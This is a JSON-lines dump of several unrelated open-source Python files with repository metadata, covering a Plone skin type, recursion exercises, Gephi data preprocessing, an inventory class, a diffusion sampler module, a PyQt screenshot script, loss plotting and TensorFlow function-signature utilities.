idObj=self.createValidId(key)\n sprout=idObj.split('.')\n Title = '.'.join(sprout[:len(sprout)-1]).replace('_',' ')\n if typesList[key] in ('image', 'icon'):\n self.invokeFactory(IMAGE_UPLOAD_TYPE, idObj,\n title=Title, RESPONSE=None)\n skinImage = getattr(self, idObj)\n skinImage.setImage(str(data))\n imagefield = skinImage.getPrimaryField()\n imagefield.setFilename(skinImage, idObj)\n if typesList[key] == 'icon' :\n skinImage.setContentType('image/x-icon')\n else :\n self.invokeFactory(FILE_UPLOAD_TYPE, idObj,\n title=Title, RESPONSE=None)\n skinFile = getattr(self, idObj)\n skinFile.setFile(str(data))\n filefield = skinFile.getPrimaryField()\n filefield.setFilename(skinFile, idObj)\n if typesList[key] == 'cssfile':\n skinFile.setContentType('text/css')\n if not self.getField('cssfile').getAccessor(self)():\n self.getField('cssfile').getMutator(self)(idObj)\n\n # will be used in future\n elif typesList[key] == 'jsfile' :\n skinFile.setContentType('text/javascipt')\n\n msg = _('label_imported_files',\n default=u\"Imported ${num} images and files from file\",\n mapping={'num': len(filesList)})\n putils.addPortalMessage(msg)\n if(REQUEST):\n REQUEST.RESPONSE.redirect(\"%s/view\" %self.absolute_url())\n\n return msg\n\n # methods used for screenshots\n\n security.declareProtected(CCP.View, 'tag')\n def tag(self, **kwargs):\n \"\"\"Generate image tag using the api of the ImageField\n \"\"\"\n return self.getField('screenshot').tag(self, **kwargs)\n\n security.declareProtected(CCP.View, 'get_size')\n def get_size(self):\n \"\"\"ZMI / Plone get size method\n\n BBB: ImageField.get_size() returns the size of the original image + all\n scales but we want only the size of the original image.\n \"\"\"\n img = self.getScreenshot()\n if not getattr(aq_base(img), 'get_size', False):\n return 0\n\n return img.get_size()\n\n security.declareProtected(CCP.View, 'getSize')\n def getSize(self, scale=None):\n field = self.getField('screenshot')\n return field.getSize(self, scale=scale)\n\n security.declareProtected(CCP.View, 'getWidth')\n def getWidth(self, scale=None):\n return self.getSize(scale)[0]\n\n security.declareProtected(CCP.View, 'getHeight')\n def getHeight(self, scale=None):\n return self.getSize(scale)[1]\n\n width = ComputedAttribute(getWidth, 1)\n height = ComputedAttribute(getHeight, 1)\n\n security.declarePublic('get_phantasy_relative_path')\n def get_phantasy_relative_path(self) :\n \"\"\"\n Return Phantasy Skin path\n relative to navigation root\n can be used to upload files\n \"\"\"\n root = self\n portal_url = getToolByName(self, 'portal_url')\n portal = portal_url.getPortalObject()\n while not (INavigationRoot.providedBy(root) or root is portal) :\n root = root.aq_parent\n\n rootPath = root.getPhysicalPath()\n physical_path = self.getPhysicalPath()\n relative_path = physical_path[len(rootPath):]\n return '/'.join(relative_path)\n\n\n def _checkId(self, id, allow_dup=0):\n # allow overriding skinned names and tools for all users\n # for file name ids only\n if id[:2] == '@@':\n raise BadRequest('The id \"%s\" is invalid because it begins with '\n '\"@@\".' % id)\n elif len(id.split('.')[-1]) == 3:\n return\n else:\n return super(PhantasySkin, self)._checkId(id, allow_dup=allow_dup)\n\n\n def __bobo_traverse__(self, REQUEST, name):\n \"\"\"Transparent access to image scales\n \"\"\"\n if name.startswith('screenshot'):\n field = self.getField('screenshot')\n image = None\n if name == 'screenshot':\n image = field.getScale(self)\n else:\n scalename = name[len('screenshot_'):]\n if scalename in field.getAvailableSizes(self):\n image = field.getScale(self, scale=scalename)\n\n if image is not None and not isinstance(image, basestring):\n # image might be None or '' for empty images\n return image\n\n return ATCTOrderedFolder.__bobo_traverse__(self, REQUEST, name)\n\n\nregisterType(PhantasySkin, PROJECTNAME)\n","repo_name":"collective/collective.phantasy","sub_path":"collective/phantasy/atphantasy/content/skin.py","file_name":"skin.py","file_ext":"py","file_size_in_byte":12977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"71208183411","text":"import math\nimport pyinputplus as pyip\n\n\ndef copies(count, word):\n if count <= 1:\n return word\n return word + copies(count-1, word)\n\n\ndef copies_interface():\n print(\"-----\")\n count = pyip.inputNum(\"How many times would you like this word printed? \")\n word = pyip.inputStr(\"What word would you like printed? \")\n print(\"Output:\", copies(count, word))\n print(\"-----\")\n\n\ndef fib(count, dp):\n if dp[count] != 0:\n return dp[count]\n if count == 0:\n return 0\n if count == 1:\n return 1\n dp[count] = fib(count-1, dp) + fib(count-2, dp)\n return dp[count]\n\n\ndef fib_interface():\n print(\"-----\")\n count = pyip.inputNum(\"Which number in the fibonacci sequence would you like printed? \")\n print(\"Output:\", fib(count, [0 for i in range(count+1)]))\n print(\"-----\")\n\n\ndef initials(words):\n if words == \"\":\n return \"\"\n arr = words.split()\n remaining = ' '.join(arr[1:])\n return arr[0][0] + initials(remaining)\n\n\ndef initials_interface():\n print(\"-----\")\n words = pyip.inputStr(\"Enter a sentence you would like the initials of! \")\n print(\"Output:\", initials(words))\n print(\"-----\")\n\n\ndef pascal(row, col, dp):\n if dp[row][col] != -1:\n return dp[row][col]\n if col == 0:\n return 1\n if row == col:\n return 1\n dp[row][col] = pascal(row-1, col, dp) + pascal(row-1, col-1, dp)\n return dp[row][col]\n\n\ndef pascal_interface():\n print(\"-----\")\n row = pyip.inputNum(\"Which row of the pascal triangle are you interested in? \")\n col = pyip.inputNum(\"Which column of the pascal triangle are you interested in? \")\n print(\"Output:\", pascal(row, col, [[-1 for i in range(col+1)] for j in range(row+1)]))\n print(\"-----\")\n\n\ndef to_binary(dec):\n if dec == 0:\n return \"\"\n return ''.join([to_binary(dec//2), str(dec % 2)])\n\n\ndef to_binary_interface():\n print(\"-----\")\n dec = pyip.inputNum(\"Enter a decimal you would like to convert to binary! \")\n print(\"Output:\", to_binary(dec))\n print(\"-----\")\n\n\ndef user_interface():\n print(\"-----\")\n print(\"1. Copies\")\n print(\"2. Fibonacci\")\n print(\"3. Initials\")\n print(\"4. Pascals\")\n print(\"5. Decimal to Binary\")\n print(\"6. Quit\")\n response = pyip.inputNum(\"Enter the number of the program you would like to use! \")\n\n if response == 1:\n copies_interface()\n elif response == 2:\n fib_interface()\n elif response == 3:\n initials_interface()\n elif response == 4:\n pascal_interface()\n elif response == 5:\n to_binary_interface()\n elif response != 6:\n print(\"Invalid program number!\")\n\n if response != 6:\n user_interface()\n else:\n print(\"Exiting..., thanks for playing!\")\n\n\nif __name__ == '__main__':\n user_interface()\n","repo_name":"jonathankao97/AP-CSP","sub_path":"recursion2.py","file_name":"recursion2.py","file_ext":"py","file_size_in_byte":2799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1268585557","text":"\"\"\"\nCourse : CSCI 5760\nAuthors : Paul Louis ,\n Shweta Ann Jacob \n\"\"\"\nfrom collections import defaultdict\n\nfrom openpyxl import load_workbook\n\n\ndef process_excel_to_gephi(xlsx_file):\n wb = load_workbook(xlsx_file)\n sheet1 = wb['Sheet1']\n\n headers = list(list(sheet1.values)[0])\n\n index_header = {index + 2: headers[index + 2] for index in range(len(headers[2:]))}\n\n data_dict = defaultdict(list)\n headers = {\n \"Node Table\": [\"Id\", \"Label\"],\n \"Edge Table\": [\"Source\", \"Target\", \"Type\"]\n }\n\n merge_config = {\n 46: 11,\n 49: 43\n }\n\n for record in list(sheet1.values)[1:]:\n if not record[0]:\n continue\n\n if record[1] in merge_config.keys():\n continue\n\n name = record[0].title()\n print(f\"Prepping {name}\")\n id = int(record[1])\n data_dict['Node Table'].append([id, name])\n\n for index, header in index_header.items():\n source = id\n col_name = f'{header}_EdgeTable'\n\n # parse the data as it is super inconsistent.\n if type(record[index]) == str:\n if record[index] == '-':\n continue\n\n dests = record[index].split(',')\n dests = [entry.strip() for entry in dests]\n dests = list(filter(lambda x: x, dests))\n\n for dest in dests:\n dest = int(dest)\n if dest in merge_config.keys():\n dest = merge_config[dest]\n if str(dest) in dests:\n continue\n try:\n data_dict[col_name].append([source, dest, \"Directed\"])\n except Exception as E:\n raise E\n\n elif type(record[index]) == float:\n data_dict[col_name].append([source, int(record[index]), \"Directed\"])\n elif type(record[index]) == int:\n data_dict[col_name].append([source, record[index], \"Directed\"])\n elif not record[index]:\n continue\n else:\n print(\"Parsing failed with 100% accuracy! :'^)\")\n\n for index, (sheet_name, values) in enumerate(data_dict.items()):\n cleaned_sheet_name = sheet_name\n\n if index != 0:\n cleaned_sheet_name = sheet_name.replace('?', '').replace(' ', '_').replace('/', '')\n cleaned_sheet_name = cleaned_sheet_name[17:17 + 31] # > 31 messes with Microsoft Excel\n\n wb.create_sheet(title=cleaned_sheet_name)\n sheet = wb.worksheets[-1]\n\n if index == 0:\n sheet.append(headers['Node Table'])\n else:\n sheet.append(headers['Edge Table'])\n\n for val in values:\n sheet.append(val)\n\n sheet = wb.worksheets[0]\n sheet.title = 'original_data'\n\n wb.save(\"CSCI 5760 Preprocessed.xlsx\")\n # There is the issue of having empty rows at the end of each sheet.\n # For now, I delete them off manually\n # output: https://docs.google.com/spreadsheets/d/1IYRnvJabem6AO8POAl90X-k9HlOOLJ-Tns3TnBfApfQ/\n\n\nif __name__ == '__main__':\n # https://docs.google.com/spreadsheets/d/1u5TRNMqbsvk6Nwv62Ovz9yI-JWplXXTSCgrgCy7cfQI/\n file_name = 'gephi_input.xlsx'\n process_excel_to_gephi(file_name)\n","repo_name":"venomouscyanide/CSCI-5760-Social-Networks","sub_path":"Assignment1/setup_gephi_input.py","file_name":"setup_gephi_input.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"42397894610","text":"class Product:\n def __init__(self, name, quantity, price, *args, **kwargs):\n self.name = name\n self.quantity = quantity\n self.price = price\n\n def __str__(self):\n return f\"Info: {self.name}\\n\\tQuantity: {self.quantity}\\n\\tPrice: {self.price}\"\n\n def __eq__(self, other):\n if not isinstance(other, Product):\n return NotImplemented\n return (self.name, self.quantity, self.price) == (other.name, other.quantity, other.price)\n\n def __ne__(self, other):\n if not isinstance(other, Product):\n return NotImplemented\n return (self.name, self.quantity, self.price) != (other.name, other.quantity, other.price)\n\n def __gt__(self, other):\n if isinstance(other, Product):\n return self.quantity > other.quantity\n elif isinstance(other, int):\n return self.quantity > other\n else:\n return NotImplemented\n\n def __ge__(self, other):\n if isinstance(other, Product):\n return self.quantity >= other.quantity\n elif isinstance(other, int):\n return self.quantity >= other\n else:\n return NotImplemented\n\n def __lt__(self, other):\n if isinstance(other, Product):\n return self.quantity < other.quantity\n elif isinstance(other, int):\n return self.quantity < other\n else:\n return NotImplemented\n\n def __le__(self, other):\n if isinstance(other, Product):\n return self.quantity <= other.quantity\n elif isinstance(other, int):\n return self.quantity <= other\n else:\n return NotImplemented\n\n def copy(self):\n return Product(self.name, self.quantity, self.price)\n\n @property\n def name(self):\n return self.__name\n\n @name.setter\n def name(self, name):\n if not isinstance(name, str):\n raise TypeError(f'unsupported type(s) for \\'name\\' as {type(name).__name__}')\n self.__name = name\n\n @property\n def quantity(self):\n return self.__quantity\n\n @quantity.setter\n def quantity(self, quantity):\n if not isinstance(quantity, int):\n raise TypeError(f'unsupported operand type(s) for {type(quantity).__name__}')\n if quantity < 0:\n raise ValueError(f'unsupported value(s) of {quantity}')\n self.__quantity = quantity\n\n @property\n def price(self):\n return self.__price\n\n @price.setter\n def price(self, price):\n if not isinstance(price, (int, float)):\n raise TypeError(f'unsupported operand type(s) for {type(price).__name__}')\n if price < 0:\n raise ValueError(f'unsupported value(s) of {price}')\n self.__price = price\n\n\nclass Composition:\n def __init__(self, *args):\n self.composition = list(*args)\n\n def available(self, name):\n if not self.__contains__(name):\n return f\"{name}: Not available\"\n temp = self.__getitem__(name)\n return f\"REPORT:\\n{temp.name}: {'Available' if temp.quantity > 0 else 'Not available'}\" # temp.quantity\n\n def available_all(self):\n return f\"REPORT:\\n\" + \"\".join(f'{i.name}:' + ('Available\\n' if i.quantity > 0 else 'Not available\\n')\n for i in self.composition)\n\n def __str__(self):\n return \"COMPOSITION:\" + \"\".join(f\"\\n\\n\\t{i}\" for i in self.composition) # f\n\n def __getitem__(self, item):\n if isinstance(item, str):\n if not any(item == i.name for i in self.composition):\n raise ValueError(f'no item(s) of {item} found')\n return next(i for i in self.composition if item == i.name)\n elif isinstance(item, int):\n return self.composition[item]\n else:\n raise TypeError(f'unsupported operand type(s) for {type(self).__name__} and {type(item).__name__}')\n\n def __setitem__(self, key, value):\n if not isinstance(key, int) or not isinstance(value, Product):\n raise TypeError(f'unsupported type(s) of {type(key).__name__} or {type(type(value).__name__)}')\n self.composition.__setitem__(key, value)\n\n def __contains__(self, item):\n if not isinstance(item, str):\n return NotImplemented\n return any(item == i.name for i in self.composition)\n\n def __add__(self, other):\n if not isinstance(other, Product):\n return NotImplemented\n temp = [i.copy() for i in self.composition]\n temp.append(other)\n return Composition(temp)\n\n def __iadd__(self, other):\n if not isinstance(other, Product):\n return NotImplemented\n self.composition.append(other)\n\n def __sub__(self, other):\n if not isinstance(other, str):\n return NotImplemented\n if not any(other == i.name for i in self.composition):\n return NotImplemented\n temp = [i.copy() for i in self.composition]\n temp.remove(next(i for i in temp if other == i.name))\n return Composition(temp)\n\n def __isub__(self, other):\n if not isinstance(other, str):\n return NotImplemented\n if not any(other == i.name for i in self.composition):\n return NotImplemented\n self.composition.remove(next(i for i in self.composition if other == i.name))\n\n def __eq__(self, other):\n if not isinstance(other, Composition):\n return NotImplemented\n return self.composition == other.composition\n\n def __ne__(self, other):\n if not isinstance(other, Composition):\n return NotImplemented\n return self.composition != other.composition\n\n @property\n def composition(self):\n return self.__composition\n\n @composition.setter\n def composition(self, composition):\n if not composition:\n self.__composition = []\n else:\n if not isinstance(composition, list):\n raise TypeError(f'unsupported type(s) of {type(composition).__name__} for \"composition\"')\n if len(composition) > 0 and not all(isinstance(i, Product) for i in composition):\n raise ValueError(f'unsupported value(s) of {type(composition).__name__} for \"composition\"')\n self.__composition = composition\n\n\ntest = Composition()\ntest = test + Product(\"Pen\", 25, 5)\ntest = test + Product(\"Bike\", 10, 5000)\nprint(test)\ntest = test - \"Pen\"\nprint(test)\nprint(test.available_all())\nprint(test[0])\nprint(test[\"Bike\"])\nprint(\"Bike\" in test)\nprint(test == test)\n","repo_name":"FranklinMar/OOA-Practice","sub_path":"Work4/Part1/Task02.py","file_name":"Task02.py","file_ext":"py","file_size_in_byte":6546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74115027250","text":"import torch\n\nimport torch.nn as nn\n\nfrom abc import abstractmethod\nfrom tqdm import tqdm\nfrom torch import Tensor\nfrom typing import Any\nfrom typing import Dict\nfrom typing import Type\nfrom typing import Callable\nfrom typing import Optional\nfrom typing import Protocol\nfrom cftool.misc import update_dict\nfrom cftool.misc import safe_execute\nfrom cftool.misc import shallow_copy_dict\nfrom cftool.misc import WithRegister\n\nfrom ..utils import cond_type\nfrom ..utils import extract_to\nfrom ..utils import get_timesteps\nfrom ..utils import CONCAT_KEY\nfrom ..utils import CONTROL_HINT_KEY\nfrom ..utils import CONTROL_HINT_END_KEY\nfrom ..utils import CONTROL_HINT_START_KEY\n\n\nsamplers: Dict[str, Type[\"ISampler\"]] = {}\n\n\ndef is_misc_key(key: str) -> bool:\n return key in (\n CONCAT_KEY,\n CONTROL_HINT_KEY,\n CONTROL_HINT_START_KEY,\n CONTROL_HINT_END_KEY,\n )\n\n\nclass Denoise(Protocol):\n def __call__(\n self,\n image: Tensor,\n timesteps: Tensor,\n cond: Optional[cond_type],\n step: int,\n total_step: int,\n ) -> Tensor:\n pass\n\n\nclass IDiffusion:\n _get_cond: Callable\n predict_eps_from_z_and_v: Callable\n predict_start_from_z_and_v: Callable\n\n denoise: Denoise\n q_sampler: \"DDPMQSampler\"\n condition_model: Optional[nn.Module]\n first_stage: nn.Module\n\n t: int\n parameterization: str\n posterior_coef1: Tensor\n posterior_coef2: Tensor\n posterior_log_variance_clipped: Tensor\n\n betas: Tensor\n alphas_cumprod: Tensor\n alphas_cumprod_prev: Tensor\n\n\nclass IQSampler:\n def __init__(self, model: IDiffusion):\n self.model = model\n\n @abstractmethod\n def q_sample(\n self,\n net: Tensor,\n timesteps: Tensor,\n noise: Optional[Tensor] = None,\n ) -> Tensor:\n pass\n\n @abstractmethod\n def reset_buffers(self, **kwargs: Any) -> None:\n pass\n\n\nclass DDPMQSampler(IQSampler):\n sqrt_alphas: Tensor\n sqrt_one_minus_alphas: Tensor\n\n def q_sample(\n self,\n net: Tensor,\n timesteps: Tensor,\n noise: Optional[Tensor] = None,\n ) -> Tensor:\n self.sqrt_alphas = self.sqrt_alphas.to(net)\n self.sqrt_one_minus_alphas = self.sqrt_one_minus_alphas.to(net)\n num_dim = len(net.shape)\n w_net = extract_to(self.sqrt_alphas, timesteps, num_dim)\n w_noise = extract_to(self.sqrt_one_minus_alphas, timesteps, num_dim)\n if noise is None:\n noise = torch.randn_like(net)\n net = w_net * net + w_noise * noise\n return net\n\n def reset_buffers(self, sqrt_alpha: Tensor, sqrt_one_minus_alpha: Tensor) -> None: # type: ignore\n self.sqrt_alphas = sqrt_alpha\n self.sqrt_one_minus_alphas = sqrt_one_minus_alpha\n\n\nclass ISampler(WithRegister):\n d = samplers\n\n default_steps: int\n\n def __init__(self, model: IDiffusion):\n self.model = model\n self.initialized = False\n\n @property\n @abstractmethod\n def q_sampler(self) -> IQSampler:\n pass\n\n @property\n @abstractmethod\n def sample_kwargs(self) -> Dict[str, Any]:\n pass\n\n @abstractmethod\n def sample_step(\n self,\n image: Tensor,\n cond: Optional[cond_type],\n step: int,\n total_step: int,\n **kwargs: Any,\n ) -> Tensor:\n pass\n\n def q_sample(\n self,\n net: Tensor,\n timesteps: Tensor,\n noise: Optional[Tensor] = None,\n ) -> Tensor:\n return self.q_sampler.q_sample(net, timesteps, noise)\n\n def sample(\n self,\n z: Tensor,\n *,\n ref: Optional[Tensor] = None,\n ref_mask: Optional[Tensor] = None,\n ref_noise: Optional[Tensor] = None,\n cond: Optional[Any] = None,\n num_steps: Optional[int] = None,\n start_step: Optional[int] = None,\n verbose: bool = True,\n **kwargs: Any,\n ) -> Tensor:\n # setup\n if num_steps is None:\n num_steps = getattr(self, \"default_steps\", self.model.t)\n assert isinstance(num_steps, int)\n if start_step is None:\n start_step = 0\n iterator = list(range(start_step, num_steps))\n if verbose:\n iterator = tqdm(iterator, desc=f\"sampling ({self.__identifier__})\")\n # execute\n image = z\n if cond is not None and self.model.condition_model is not None:\n cond = self.model._get_cond(cond)\n for step in iterator:\n callback = kwargs.get(\"step_callback\")\n if callback is not None:\n callback_kw = dict(step=step, num_steps=num_steps, image=image)\n if not safe_execute(callback, callback_kw):\n break\n kw = shallow_copy_dict(self.sample_kwargs)\n update_dict(shallow_copy_dict(kwargs), kw)\n image = self.sample_step(image, cond, step, num_steps, **kw)\n if ref is not None and ref_mask is not None and ref_noise is not None:\n ref_ts = get_timesteps(num_steps - step - 1, ref.shape[0], z.device)\n ref_noisy = self.q_sample(ref, ref_ts, ref_noise)\n image = ref_noisy * ref_mask + image * (1.0 - ref_mask)\n self.initialized = False\n return image\n\n\nclass UncondSamplerMixin:\n model: IDiffusion\n uncond: Optional[Tensor]\n unconditional_cond: Optional[Any]\n uncond_guidance_scale: float\n\n def _reset_uncond_buffers(\n self,\n unconditional_cond: Optional[Any],\n unconditional_guidance_scale: float,\n ) -> None:\n if unconditional_cond is None or self.model.condition_model is None:\n self.uncond = None\n self.uncond_guidance_scale = 0.0\n else:\n self.uncond = self.model._get_cond(unconditional_cond)\n self.uncond_guidance_scale = unconditional_guidance_scale\n\n def _uncond_denoise(\n self,\n image: Tensor,\n ts: Tensor,\n cond: Optional[cond_type],\n step: int,\n total_step: int,\n ) -> Tensor:\n if cond is None or self.uncond is None:\n return self.model.denoise(image, ts, cond, step, total_step)\n uncond = self.uncond.repeat_interleave(image.shape[0], dim=0)\n cond2 = None\n if not isinstance(cond, dict):\n if cond.shape[1] == uncond.shape[1]:\n cond2 = torch.cat([uncond, cond])\n else:\n cond2 = shallow_copy_dict(cond)\n for k, v in cond2.items():\n if is_misc_key(k):\n continue\n if v.shape[1] != uncond.shape[1]:\n cond2 = None\n break\n cond2[k] = torch.cat([uncond, v])\n if cond2 is not None:\n image2 = torch.cat([image, image])\n ts2 = torch.cat([ts, ts])\n eps_uncond, eps = self.model.denoise(\n image2,\n ts2,\n cond2,\n step,\n total_step,\n ).chunk(2)\n else:\n eps = self.model.denoise(image, ts, cond, step, total_step)\n if not isinstance(cond, dict):\n uncond_cond = uncond\n else:\n uncond_cond = shallow_copy_dict(cond)\n for k, v in cond.items():\n if not is_misc_key(k):\n uncond_cond[k] = uncond\n eps_uncond = self.model.denoise(image, ts, uncond_cond, step, total_step)\n return eps_uncond + self.uncond_guidance_scale * (eps - eps_uncond)\n\n\n__all__ = [\n \"is_misc_key\",\n \"ISampler\",\n \"IQSampler\",\n \"DDPMQSampler\",\n]\n","repo_name":"carefree0910/carefree-learn","sub_path":"cflearn/models/cv/diffusion/samplers/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":7645,"program_lang":"python","lang":"en","doc_type":"code","stars":399,"dataset":"github-code","pt":"20"} +{"seq_id":"30824715762","text":"import sys\nimport os\nimport time\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtWebKit import *\nimport os\n\nclass Screenshot(QWebView):\n def __init__(self):\n self.app = QApplication(sys.argv)\n QWebView.__init__(self)\n self._loaded = False\n self.loadFinished.connect(self._loadFinished)\n self.settings().setAttribute(QWebSettings.PluginsEnabled, True)\n self.settings().setAttribute(QWebSettings.PluginsEnabled, True)\n # self.page().settings().setAttribute( QWebSettings.JavaEnabled, True )\n\n def capture(self, url, output_file):\n self.load(QUrl(url))\n self.wait_load()\n # set to webpage size\n frame = self.page().mainFrame()\n self.page().setViewportSize(QSize(1280, 1024))\n # render image\n image = QImage(self.page().viewportSize(), QImage.Format_ARGB32)\n painter = QPainter(image)\n frame.render(painter)\n painter.end()\n print(image.save(output_file))\n\n def wait_load(self, delay=0):\n # process app events until page loaded\n while not self._loaded:\n self.app.processEvents()\n time.sleep(delay)\n self._loaded = False\n\n def _loadFinished(self, result):\n self._loaded = True\n\n\ndef capture(filename, url):\n s = Screenshot()\n tmp_name = filename + \".jpg\"\n s.capture(url, tmp_name)\n os.rename(tmp_name, filename)\n\n\nif __name__ == \"__main__\":\t\n args = sys.argv \n filename = args[2]\n url = args[1] \n capture(filename, url)\n\n","repo_name":"adlnet-archive/LR-Search","sub_path":"screenshots.py","file_name":"screenshots.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"39282398568","text":"import matplotlib.pyplot as plt\r\n\r\ndef Loss_and_metrics_visualization(train_loss,train_psnr,train_ssim,val_loss,val_psnr,val_ssim):\r\n plt.figure(figsize= (5,5))\r\n plt.plot(train_loss, color='orange', label= 'train_loss')\r\n plt.plot(val_loss, color= 'red', label='val_loss')\r\n plt.xlabel('Eplochs')\r\n plt.ylabel('loss')\r\n plt.legend()\r\n plt.show()\r\n\r\n plt.figure(figsize=(5,5))\r\n plt.plot(train_psnr, color= 'green', label='train_psnr')\r\n plt.plot(val_psnr, color='blue', label='val_psnr')\r\n plt.xlabel('Epochs')\r\n plt.ylabel('PSNR(db)')\r\n plt.legend()\r\n plt.show()\r\n\r\n plt.figure(figsize=(5,5))\r\n plt.plot(train_ssim, color= 'black', label='train_ssim')\r\n plt.plot(val_ssim, color='gray', label='val_ssim')\r\n plt.xlabel('Epochs')\r\n plt.ylabel('SSIM')\r\n plt.legend()\r\n plt.show()","repo_name":"parkchansaem/SR_super_resolution","sub_path":"visualization/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"70306751411","text":"import functools\nimport inspect\nfrom typing import Any, Dict, Tuple\n\nimport numpy as np\nimport six\n\nfrom tensorflow.core.function import trace_type\nfrom tensorflow.core.function.polymorphism import function_type as function_type_lib\nfrom tensorflow.python.eager.polymorphic_function import composite_tensor_utils\nfrom tensorflow.python.framework import composite_tensor\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import tensor_spec\nfrom tensorflow.python.framework import type_spec\nfrom tensorflow.python.ops import resource_variable_ops\nfrom tensorflow.python.util import nest\n\n# Sentinel value used by with ConcreteFunction's structured signature to\n# indicate that a non-tensor parameter should use the value that was\n# specified when the concrete function was created.\nBOUND_VALUE = object()\n\n\ndef to_fullargspec(function_type: function_type_lib.FunctionType,\n default_values: Dict[str, Any]) -> inspect.FullArgSpec:\n \"\"\"Generates backwards compatible FullArgSpec from FunctionType.\"\"\"\n args = []\n varargs = None\n varkw = None\n defaults = []\n kwonlyargs = []\n kwonlydefaults = {}\n\n for parameter in function_type.parameters.values():\n if parameter.kind in [\n inspect.Parameter.POSITIONAL_ONLY,\n inspect.Parameter.POSITIONAL_OR_KEYWORD\n ]:\n args.append(parameter.name)\n if parameter.default is not inspect.Parameter.empty:\n defaults.append(default_values[parameter.name])\n elif parameter.kind is inspect.Parameter.KEYWORD_ONLY:\n kwonlyargs.append(parameter.name)\n if parameter.default is not inspect.Parameter.empty:\n kwonlydefaults[parameter.name] = default_values[parameter.name]\n elif parameter.kind is inspect.Parameter.VAR_POSITIONAL:\n varargs = parameter.name\n elif parameter.kind is inspect.Parameter.VAR_KEYWORD:\n varkw = parameter.name\n\n return inspect.FullArgSpec(\n args,\n varargs,\n varkw,\n tuple(defaults) if defaults else None,\n kwonlyargs,\n kwonlydefaults if kwonlydefaults else None,\n annotations={})\n\n\ndef _to_default_values(fullargspec):\n \"\"\"Returns default values from the function's inspected fullargspec.\"\"\"\n if fullargspec.defaults is not None:\n defaults = {\n name: value for name, value in zip(\n fullargspec.args[-len(fullargspec.defaults):], fullargspec.defaults)\n }\n else:\n defaults = {}\n\n if fullargspec.kwonlydefaults is not None:\n defaults.update(fullargspec.kwonlydefaults)\n\n defaults = {\n function_type_lib.sanitize_arg_name(name): value\n for name, value in defaults.items()\n }\n\n return defaults\n\n\ndef to_function_type(fullargspec):\n \"\"\"Generates FunctionType and default values from fullargspec.\"\"\"\n default_values = _to_default_values(fullargspec)\n parameters = []\n\n for arg in fullargspec.args:\n arg_name = function_type_lib.sanitize_arg_name(arg)\n parameters.append(\n function_type_lib.Parameter(\n arg_name, function_type_lib.Parameter.POSITIONAL_OR_KEYWORD,\n arg_name in default_values, None))\n\n if fullargspec.varargs is not None:\n parameters.append(\n function_type_lib.Parameter(fullargspec.varargs,\n function_type_lib.Parameter.VAR_POSITIONAL,\n False, None))\n\n for kwarg in fullargspec.kwonlyargs:\n parameters.append(\n function_type_lib.Parameter(\n function_type_lib.sanitize_arg_name(kwarg),\n function_type_lib.Parameter.KEYWORD_ONLY, kwarg in default_values,\n None))\n\n if fullargspec.varkw is not None:\n parameters.append(\n function_type_lib.Parameter(fullargspec.varkw,\n function_type_lib.Parameter.VAR_KEYWORD,\n False, None))\n\n return function_type_lib.FunctionType(parameters), default_values\n\n\ndef to_input_signature(function_type):\n \"\"\"Extracts an input_signature from function_type instance.\"\"\"\n constrained_parameters = list(function_type.parameters.keys())\n\n # self does not have a constraint in input_signature\n if \"self\" in constrained_parameters:\n constrained_parameters.pop(0)\n\n # There are no parameters to constrain.\n if not constrained_parameters:\n return tuple()\n\n constraints = []\n is_auto_constrained = False\n\n for parameter_name in constrained_parameters:\n parameter = function_type.parameters[parameter_name]\n constraint = None\n if parameter.type_constraint:\n # Generate legacy constraint representation.\n constraint = parameter.type_constraint.placeholder_value(\n trace_type.InternalPlaceholderContext(unnest_only=True)\n )\n if any(\n not isinstance(arg, tensor_spec.TensorSpec)\n for arg in nest.flatten([constraint], expand_composites=True)):\n # input_signature only supports contiguous TensorSpec composites\n is_auto_constrained = True\n break\n else:\n constraints.append(constraint)\n\n # All constraints were generated by FunctionType\n if is_auto_constrained and not constraints:\n return tuple()\n\n # If the list is empty then there was no input_signature specified.\n return tuple(constraints) if constraints else None\n\n\n# TODO(b/214462107): Clean up and migrate to core/function when unblocked.\nclass FunctionSpec(object):\n \"\"\"Specification of how to bind arguments to a function.\"\"\"\n\n @classmethod\n def from_function_and_signature(cls,\n python_function,\n input_signature,\n is_pure=False,\n jit_compile=None):\n \"\"\"Creates a FunctionSpec instance given a python function and signature.\n\n Args:\n python_function: a function to inspect\n input_signature: a signature of the function (None, if variable)\n is_pure: if True all input arguments (including variables and constants)\n will be converted to tensors and no variable changes allowed.\n jit_compile: see `tf.function`\n\n Returns:\n instance of FunctionSpec\n \"\"\"\n _validate_signature(input_signature)\n\n function_type = function_type_lib.FunctionType.from_callable(\n python_function)\n default_values = function_type_lib.FunctionType.get_default_values(\n python_function)\n\n if input_signature is not None:\n input_signature = tuple(input_signature)\n function_type = function_type_lib.add_type_constraints(\n function_type, input_signature, default_values)\n\n # Get the function's name. Remove functools.partial wrappers if necessary.\n while isinstance(python_function, functools.partial):\n python_function = python_function.func\n name = getattr(python_function, \"__name__\", \"f\")\n\n return FunctionSpec(\n function_type,\n default_values,\n is_pure=is_pure,\n jit_compile=jit_compile,\n name=name)\n\n @classmethod\n def from_fullargspec_and_signature(cls,\n fullargspec,\n input_signature,\n is_pure=False,\n name=None,\n jit_compile=None):\n \"\"\"Construct FunctionSpec from legacy FullArgSpec format.\"\"\"\n function_type, default_values = to_function_type(fullargspec)\n if input_signature:\n input_signature = tuple(input_signature)\n _validate_signature(input_signature)\n function_type = function_type_lib.add_type_constraints(\n function_type, input_signature, default_values)\n\n return FunctionSpec(function_type, default_values, is_pure,\n 